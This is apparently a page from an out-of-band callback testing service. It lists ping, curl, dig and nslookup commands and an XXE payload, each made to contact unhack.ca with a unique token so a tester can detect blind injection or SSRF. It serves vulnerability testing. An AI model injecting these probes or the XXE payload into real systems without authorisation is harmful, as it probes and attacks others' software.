$ ping -c1 -p 00378bb1b4aa4fad58fc76bc48773700 unhack.ca
 
$ curl http://unhack.ca/p/378bb1b4aa4fad58fc76bc487737
 
$ dig 378bb1b4aa4fad58fc76bc487737 @unhack.ca
 
$ dig 378bb1b4aa4fad58fc76bc487737.ns.unhack.ca
 
C:\> nslookup 378bb1b4aa4fad58fc76bc487737 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/378bb1b4aa4fad58fc76bc487737">]>
    <foo>&xxe;</foo>
Waiting for ping...